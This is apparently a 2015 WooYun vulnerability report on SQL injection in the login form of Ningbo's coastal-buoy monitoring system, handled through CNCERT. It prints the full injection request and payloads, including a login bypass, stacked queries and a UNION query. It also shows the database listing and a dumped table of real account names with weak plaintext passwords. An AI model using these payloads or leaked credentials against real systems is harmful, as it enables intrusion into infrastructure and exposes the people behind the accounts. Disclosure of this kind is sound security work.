当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0164236

漏洞标题:某市近岸海域某系统SQL注入可控制浮标参数

相关厂商:cncert国家互联网应急中心

漏洞作者: 路人甲

提交时间:2015-12-27 15:44

修复时间:2016-02-12 18:50

公开时间:2016-02-12 18:50

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:10

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-12-27: 细节已通知厂商并且等待厂商处理中
2015-12-31: 厂商已经确认,细节仅向厂商公开
2016-01-10: 细节向核心白帽子及相关领域专家公开
2016-01-20: 细节向普通白帽子公开
2016-01-30: 细节向实习白帽子公开
2016-02-12: 细节向公众公开

简要描述:

没想到还有这样的系统

详细说明:

宁波市近岸海域浮标实时监测系统

**.**.**.**


在password参数存在注入,admin/123456密码输入后弹窗

1.png


当用户名以admin/'or'1'='1输入时,直接跳转到下一个登陆界面

2.png


存在注入

POST / HTTP/1.1
Host: **.**.**.**
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:42.0) Gecko/20100101 Firefox/42.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: **.**.**.**/
Cookie: ASP.NET_SessionId=2bq2mpwhsnbehaol2tqtcciy
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 300
__VIEWSTATE=%2FwEPDwUKMTMwNDA5ODc3OWQYAQUeX19Db250cm9sc1JlcXVpcmVQb3N0QmFja0tleV9fFgEFBWNoZWNrIRN8GSC1GLyErfjalwrsj%2FfeXWv575mIBFlTWoY1V1c%3D&__EVENTVALIDATION=%2FwEWBQKbwZKKAQL3xJvhBALS9cL8AgLb84nODgKDkOvcBIOqX04h8uJoKEokA5a6GpdjezmTPzTESAVI6ReKoH7p&txt_UserName=admin&txt_Password=123456*&btn_Login=


Parameter: #1* ((custom) POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: __VIEWSTATE=/wEPDwUKMTMwNDA5ODc3OWQYAQUeX19Db250cm9sc1JlcXVpcmVQb3N0QmFja0tleV9fFgEFBWNoZWNrIRN8GSC1GLyErfjalwrsj/feXWv575mIBFlTWoY1V1c=&__EVENTVALIDATION=/wEWBQKbwZKKAQL3xJvhBALS9cL8AgLb84nODgKDkOvcBIOqX04h8uJoKEokA5a6GpdjezmTPzTESAVI6ReKoH7p&txt_UserName=admin&txt_Password='or'1'='1' AND 9310=9310 AND 'YdOG'='YdOG&btn_Login=
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries (comment)
Payload: __VIEWSTATE=/wEPDwUKMTMwNDA5ODc3OWQYAQUeX19Db250cm9sc1JlcXVpcmVQb3N0QmFja0tleV9fFgEFBWNoZWNrIRN8GSC1GLyErfjalwrsj/feXWv575mIBFlTWoY1V1c=&__EVENTVALIDATION=/wEWBQKbwZKKAQL3xJvhBALS9cL8AgLb84nODgKDkOvcBIOqX04h8uJoKEokA5a6GpdjezmTPzTESAVI6ReKoH7p&txt_UserName=admin&txt_Password='or'1'='1';WAITFOR DELAY '0:0:5'--&btn_Login=
Type: UNION query
Title: Generic UNION query (NULL) - 29 columns
Payload: __VIEWSTATE=/wEPDwUKMTMwNDA5ODc3OWQYAQUeX19Db250cm9sc1JlcXVpcmVQb3N0QmFja0tleV9fFgEFBWNoZWNrIRN8GSC1GLyErfjalwrsj/feXWv575mIBFlTWoY1V1c=&__EVENTVALIDATION=/wEWBQKbwZKKAQL3xJvhBALS9cL8AgLb84nODgKDkOvcBIOqX04h8uJoKEokA5a6GpdjezmTPzTESAVI6ReKoH7p&txt_UserName=admin&txt_Password='or'1'='1-2030' UNION ALL SELECT 84,CHAR(113)+CHAR(98)+CHAR(112)+CHAR(98)+CHAR(113)+CHAR(82)+CHAR(107)+CHAR(113)+CHAR(86)+CHAR(100)+CHAR(84)+CHAR(89)+CHAR(85)+CHAR(109)+CHAR(121)+CHAR(66)+CHAR(68)+CHAR(85)+CHAR(99)+CHAR(85)+CHAR(83)+CHAR(88)+CHAR(105)+CHAR(100)+CHAR(90)+CHAR(103)+CHAR(87)+CHAR(73)+CHAR(83)+CHAR(107)+CHAR(100)+CHAR(108)+CHAR(89)+CHAR(103)+CHAR(108)+CHAR(97)+CHAR(75)+CHAR(117)+CHAR(117)+CHAR(77)+CHAR(67)+CHAR(110)+CHAR(83)+CHAR(76)+CHAR(73)+CHAR(113)+CHAR(118)+CHAR(113)+CHAR(113)+CHAR(113),84,84,84,84,84,84,84,84,84,84,84,84,84,84,84,84,84,84,84,84,84,84,84,84,84,84,84-- -&btn_Login=
---
[14:35:07] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET 4.0.30319, Microsoft IIS 7.5, ASP.NET
back-end DBMS: Microsoft SQL Server 2008


available databases [9]:
[*] distribution
[*] GoogleMap
[*] master
[*] model
[*] msdb
[*] ReportServer
[*] ReportServerTempDB
[*] tempdb
[*] Test


漏洞证明:

找到googlemap数据库之后得到user信息,基本上全是弱口令,这只是一部分

+----------+----------+
| username | password |
+----------+----------+
| admin | csiccsic |
| fenghq | 1 |
| hzq | qiang |
| lin | domain |
| momoman | zxy |
| shigd | 1 |
| tj | tangjun |
| wjh | wjh |
| xuxz | 123456 |
| xxzx | 1 |
| zhouyj | 1 |
+----------+----------+


3.png


可对浮标进行删除和修改部分参数管理

4.png


6.png


5.png

修复方案:

修复注入,弱口令改一下吧

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2015-12-31 17:43

厂商回复:

CNVD确认所述漏洞情况,已经转由CNCERT下发浙江分中心,由其后续协调网站管理单位处置。

最新状态:

暂无


漏洞评价:

评价